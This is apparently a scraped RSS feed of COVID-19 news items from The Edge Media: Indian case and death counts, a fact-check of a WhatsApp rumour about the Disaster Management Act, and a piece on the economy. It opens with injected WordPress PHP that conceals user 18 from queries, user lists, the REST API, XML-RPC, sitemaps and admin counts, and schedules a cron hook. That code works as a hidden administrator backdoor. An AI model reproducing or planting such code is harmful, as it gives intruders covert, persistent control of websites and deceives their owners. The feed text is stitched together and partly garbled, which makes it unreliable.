add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Covid Update: In India, 42,909 Cases Have Been Reported, Including 380 Deaths in the Last 24 Hours appeared first on The Edge Media.
]]>
According to the Union Health Ministry, active cases account for 1.15 percent of total cases, with a national COVID-19 recovery rate of 97.51 percent. The current daily positive rate is 3.02 percent. So far, 63.43 crore vaccine doses have been given out as part of the nationwide vaccination campaign.
The post Covid Update: In India, 42,909 Cases Have Been Reported, Including 380 Deaths in the Last 24 Hours appeared first on The Edge Media.
]]>The post 3,79,257 new COVID-19 cases reported in a single day appeared first on The Edge Media.
]]>According to the data released by the Health Ministry on Thursday morning, 3,79,257 new COVID-19 cases have been registered in the last 24 hours. During this time, 3,645 patients have died due to the virus.
This is by far the largest figure of corona cases and deaths from corona. The total number of infection cases in the country has gone up to 1,83,76,524 whereas 2,04,832 patients have died so far.
According to the ministry, this is the eighth consecutive day when more than three lakh cases have been reported.
In the last 24 hours, more than one lakh people have been successful in defeating the epidemic. So far, a total of 1,50,86,878 people have become free from corona infection.
With the increase in new cases, the number of active cases in the country has also increased rapidly. Total active cases in the country increased to 30,84,814.
The post 3,79,257 new COVID-19 cases reported in a single day appeared first on The Edge Media.
]]>The post Will the government punish for writing posts related to the corona virus? appeared first on The Edge Media.
]]>
At this time, more than 1600 people have been infected in the country and the death toll has reached 38.
Amid the ongoing lockdown in the country, a message is being spread rapidly on WhatsApp.
The message claimed, “The Disaster Management Act is coming into force in the country from tonight. It will be applicable across the country. According to which no ordinary citizen other than government departments can write posts related to corona virus on social media platforms.
Neither can share. There is a provision of punishment for doing so. Do not forward any message or joke related to Corona virus from April 1. If this happens, the arrest of the group administrator will be under section 68 … 140 and 188. “
Actually, not only from April 1, but also the announcement of the nationwide lockdown of the Prime Minister, as well as the Disaster Management Act 2005 was enacted.
This notification of the Government of India states, “Disaster Management Act 2005 is being imposed using the power found under section 6 . Now the Ministries, Departments, State Governments and Authorities of the Government of India are being given national Disaster Management Authority orders have to be obeyed so that the transition to covid-19 can be stopped by making social distancing effective. “
Can nothing be written about the corona virus as soon as this Act comes into force? To know the fact of this claim, it is important to understand what is the disaster management act after all?
The Disaster Management Act was implemented in December 2005. This is a national law that is used by the central government so that a country-wide plan can be made to deal with a disaster.
There is a provision for the formation of a National Disaster Management Authority under the second part of this Act. Whose President is the Prime Minister. Apart from this, it can have a maximum of nine members whose elections are held on the suggestion of the Prime Minister.
Under this, the central government has the right to take action against those who do not follow the instructions given. Under this law, state governments have to follow the centrally made scheme.
The most important thing about this law is that the National Disaster Management Authority can take action against any state official as well as the officer of private companies for not following the orders.
This law can be used in the event of a natural disaster and a human-caused disaster.
In the beginning of the month of March, the Government of India enacted the Epidemic Disease Act 1897, created in the 123-year-old English rule.
This law was made by the British in February 1897 to control the plague epidemic that was spreading in the then Bombay city.
In this, the British government had the power that it could ban the mobilization of more people anywhere in the country. The same law was used in the year 2018 during the spread of cholera disease in Gujarat.
Since this law allows the state governments to make new rules, given the nature of the epidemic, the state governments have to decide what new rules and regulations they want to make in their state to prevent the outbreak of the epidemic.
In view of the crisis of covid-19, the Central Government enacted the Disaster Management Act 2005 of 21 days lockdown so that the central government can implement a plan with all the state governments across the country.
It is clear that the Central Government has implemented the Disaster Management Act 2005 in the country, but apart from the claims being made in the message, it is applicable not from April 1 but from March 25.
And this law has absolutely nothing to do with forwarding social media posts or messages related to corona to the common citizen.
However, being a responsible citizen, it would be better to refrain from sharing any unauthenticated information given the severity of the corona virus epidemic.
The post Will the government punish for writing posts related to the corona virus? appeared first on The Edge Media.
]]>The post Why is the second wave of covid shaking the country’s economy so much? appeared first on The Edge Media.
]]>
There are solid reasons behind his saying, the entire country has gone through a lot of difficulties and challenges due to the covid infection in the thirteen months of March 2020 to April 2021.
After the lockdown, efforts were made to bring the country’s economy back on track by starting the process of unlocking.
Until last month, it seemed that the economy of India was devastated by the epidemic. In view of this recovery, several international rating agencies and the International Monetary Fund (IMF) had predicted India’s growth rate to grow between 10 and 13 percent in FY 2021-22.
But not only has this recovery been braided due to the second horrific wave of corona virus in April, but the boom in the last six months seems to be moving.
The rating agencies have reduced India’s growth rate by two percent, making changes in their forecasts.
Now, with the state governments making announcements of new restrictions almost daily, there are bound to be obstacles in the development of the economy.
Unemployment is increasing, there are full signs of rising inflation and migration of workers from big cities has also started.
According to Finance Ministry sources, the central government is taking a deep review of the economic situation.
The government has come to the conclusion that the lockdown will not be imposed across the country like last year and there is no such plan this time in the way that large economic packages were given in 2020. Help will be given, but it will be according to the need.
The post Why is the second wave of covid shaking the country’s economy so much? appeared first on The Edge Media.
]]>The post 3,14,835 COVID-19 cases reported in last 24 hours appeared first on The Edge Media.
]]>On Thursday, more than three lakh new cases of COVID-19 infection were reported for the first time in the country, which is the largest number till date.
By the way, this is the fifth consecutive day, when more than two and a half lakh COVID-19 infections cases have been reported across the country.
According to the data released by the Union Ministry of Health and Family Welfare, 3,14,835 new COVID-19 cases have been registered in India during the last 24 hours, taking the total number of infected in the country to cross one crore 59 lakhs to 1,59.
Has become 30,965. During the same period, 2,104 patients died across the country. This is also the largest number of coronaviruses ever recorded in a single day.
With this, the total number of people who lost their lives in this country has increased to 1,84,657.
Corona’s rising outbreak in April can be gauged from the fact that 37,81,630 new cases have been registered in the first 22 days of the month, and a total of 22,189 people have died due to covid in April so far.
By the way, this is the eighth consecutive day, when more than two lakh cases of coronavirus infection have been reported in the country.
Apart from this, Monday is the 12th consecutive day, with more than one and a half lakh cases coming up, and the 16th consecutive day, when more than one lakh new COVID-19 cases have appeared in the country.
The post 3,14,835 COVID-19 cases reported in last 24 hours appeared first on The Edge Media.
]]>The post COVID-19: Big drop in daily cases, 8,635 new cases, 94 deaths in last 24 hours appeared first on The Edge Media.
]]>At present, more than 1.63 lakh people are being treated in hospital in the country. At the same time, in the country, about 40 lakh people have been vaccinated with the Corona virus. Since January 16, a nationwide vaccination campaign against the corona virus was carried out, under which 39,50,156 people have been vaccinated so far.
The post COVID-19: Big drop in daily cases, 8,635 new cases, 94 deaths in last 24 hours appeared first on The Edge Media.
]]>The post First Corona Vaccine is given to nurse in US, Trump tweeted congratulations appeared first on The Edge Media.
]]>The post First Corona Vaccine is given to nurse in US, Trump tweeted congratulations appeared first on The Edge Media.
]]>The post Relief among record cases, decreasing corona infection rate in Delhi appeared first on The Edge Media.
]]>The post Relief among record cases, decreasing corona infection rate in Delhi appeared first on The Edge Media.
]]>The post Less than 100 deaths due to corona occurred after 5 days in Delhi, yet 99 people died in 24 hours appeared first on The Edge Media.
]]>The post Less than 100 deaths due to corona occurred after 5 days in Delhi, yet 99 people died in 24 hours appeared first on The Edge Media.
]]>